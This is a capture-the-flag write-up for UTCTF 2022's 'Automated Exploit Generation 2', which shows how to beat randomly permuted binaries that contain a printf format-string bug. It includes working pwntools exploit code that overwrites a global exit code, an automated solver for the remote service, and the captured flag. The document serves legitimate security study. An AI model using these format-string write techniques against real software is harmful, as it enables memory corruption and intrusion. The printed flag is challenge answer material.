Challenge: Automated Exploit Generation 2
Author: Shotokhan
Description: Exploit of 10 random binaries with the same vulnerability
CTF: UTCTF 2022
Category: Pwn

Task

Now with printf!

By Tristan (@trab on discord) nc pwn.utctf.live 5002

Writeup

If we interact with the server:

$ nc pwn.utctf.live 5002 
You will be given 10 randomly generated binaries.
You have 60 seconds to solve each one.
Solve the binary by making it exit with the given exit code
Press enter when you're ready for the first binary.

After pressing enter, we’re given a small binary in hexdump format.
We copy it in a file random_0.hex and get the actual ELF with:

$ xxd -r random_0.hex > random_0

Now, we can guess that the randomly generated binaries are similar among them, the randomness will be in some input-modifying function.
So we analyze the obtained executable file:

$ file random_0
random_0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=335c472b5b0059a4d4826b6c1f8218d59e757ff0, for GNU/Linux 3.2.0, not stripped

$ checksec random_0
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ ltrace ./random_0 
fgets(AAAAAAAAAAA
"AAAAAAAAAAA\n", 514, 0x7f380aa14800)                                                             = 0x7ffcc61b7380
printf("")                                                                                              = 0
exit(0 <no return ...>
+++ exited (status 0) +++

It has some protections enabled, and it basically fgets at most 514 bytes of data, then performs a printf.
If we decompile it with Ghidra, we can see that the binary performs these actions:

  fgets((char *)&local_218,0x202,stdin);
  permute((long)&local_218);
  printf((char *)&local_218);
  exit(exit_code);

So, it’s clearly the case of a format string attack; our ltrace showed that the printf had a null string as parameter because there is input permutation, which in this case has put a null byte at the start of the buffer.
The exit_code is a global variable, so the idea is to perform the format string attack to overwrite it with the exit code given alongside the binary.

The permute function calls 8 permutation sub-functions in random order, for example:

void permute(long param_1)

{
  permute2(param_1);
  permute3(param_1);
  permute6(param_1);
  permute7(param_1);
  permute4(param_1);
  permute1(param_1);
  permute8(param_1);
  permute5(param_1);
  return;
}

A combination of permutations is still a permutation, so we can get a complete mapping position i -> position j by executing the program locally many times (we don’t need to use angr to solve this task).
The first thing to do is to patch the binary to develop a working exploit, without permutation; so we basically replace the call to permute in main with a sequence of NOP instructions.
We save the patched binary into random_0_patched and developed the exploit for it (it wanted 168 as exit code):

def test_exploit_patched():
    elf = ELF("./random_0_patched")
    context.binary = elf
    addr = elf.symbols['exit_code']
    val = 168
    # target_payload = fmtstr_payload(8, {addr: val})
    target_payload = f"%{val}c%10$n".encode()
    target_payload += b'A' * (16 - len(target_payload))
    target_payload += p64(addr)
    print(target_payload)
    r = elf.process()
    r.sendline(target_payload)
    _exit_code = r.poll(block=True)
    print(_exit_code)

Now that we have a working exploit, we need a function to get the permutation map, so that the executable will put the characters of the exploit in the right positions.
The permutation map can be obtained very fast by starting the executable a few times, but I went for an easy, non-optimized function:

def get_permutation_map(filename):
    mapping = {}
    for i in range(0x202):
        payload = "_" * i + "A" + "_" * (0x202 - i - 1)
        r = process([filename])
        r.sendline(payload)
        res = r.recv().decode()
        r.close()
        try:
            pos = res.index('A')
            mapping[pos] = i
        except:
            pass
    return mapping

It’s quick and dirty and it obtains just a single mapping for every execution (so, 514 processes for full mapping), but it does the job.
Now we can put the pieces together and test the exploit on the original binary:

def test_exploit():
    filename = "./random_0"
    elf = ELF(filename)
    context.binary = elf
    addr = elf.symbols['exit_code']
    val = 168
    target_payload = f"%{val}c%10$n".encode()
    target_payload += b'A' * (16 - len(target_payload))
    target_payload += p64(addr)
    mapping = get_permutation_map(filename)
    exploit = [b'_' for _ in range(0x202)]
    for i in range(len(target_payload)):
        exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little')
    exploit = b"".join(exploit)
    r = elf.process()
    r.sendline(exploit)
    _exit_code = r.poll(block=True)
    print(_exit_code)

It’s quite slow, but it works; the last thing to do is to automate the interaction with the remote service, to get the binary, decode it, make it executable, get the desired exit code, get the permutation mapping and craft the final exploit, then repeat this for 10 times. An implementation issue is that we have to make sure that the fgets of a binary reads all our input, otherwise the fgets of the next binary will read some non-flushed input and the exploit will not work. To overcome this issue, we have to truncate our exploit payload to the minimum length required to perform the format string attack (i.e., we must not add padding to reach 514 bytes).

from pwn import *
import os
import time

...

def get_permutation_map(filename):
    ...

def main():
    r = remote("pwn.utctf.live", 5002)
    r.sendlineafter('binary.\n', '')
    for k in range(10):
        data = r.recvrepeat(2).decode().split('\n\n')
        start = time.time()
        binary = data[0]
        ind = binary.index("00000000:")
        binary = binary[ind:]
        with open("random_bin.hex", 'w') as f:
            f.write(binary)
        os.system("xxd -r random_bin.hex > random_bin")
        os.system("chmod +x random_bin")
        val = int(data[1].split('\n')[1].split(' ')[-1])
        filename = "./random_bin"
        elf = ELF(filename)
        context.binary = elf
        addr = elf.symbols['exit_code']
        target_payload = f"%{val}c%10$n".encode()
        target_payload += b'A' * (16 - len(target_payload))
        target_payload += p64(addr)
        mapping = get_permutation_map(filename)
        exploit = [b'_' for _ in range(0x201)]
        _max = 0
        for i in range(len(target_payload)):
            exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little')
            if mapping[i] > _max:
                _max = mapping[i]
        exploit = b"".join(exploit)[:_max+1]
        elapsed = time.time() - start
        print(f"{exploit = }")
        print(f"{val = }")
        print(f"{elapsed = }")
        r.sendline(exploit)
    r.interactive()

By running it, we obtain:

$ python script.py
...
exploit = b'______________________________________________________________________________________________________________________________________________________________________________________________________A%5c%10$nAAAAAAA_\\@@\x00\x00\x00\x00\x00'
val = 5
elapsed = 8.956268072128296
[*] Switching to interactive mode
Process exited with return code 5
Congrats!
utflag{you_mix_me_right_round_baby_right_round135799835}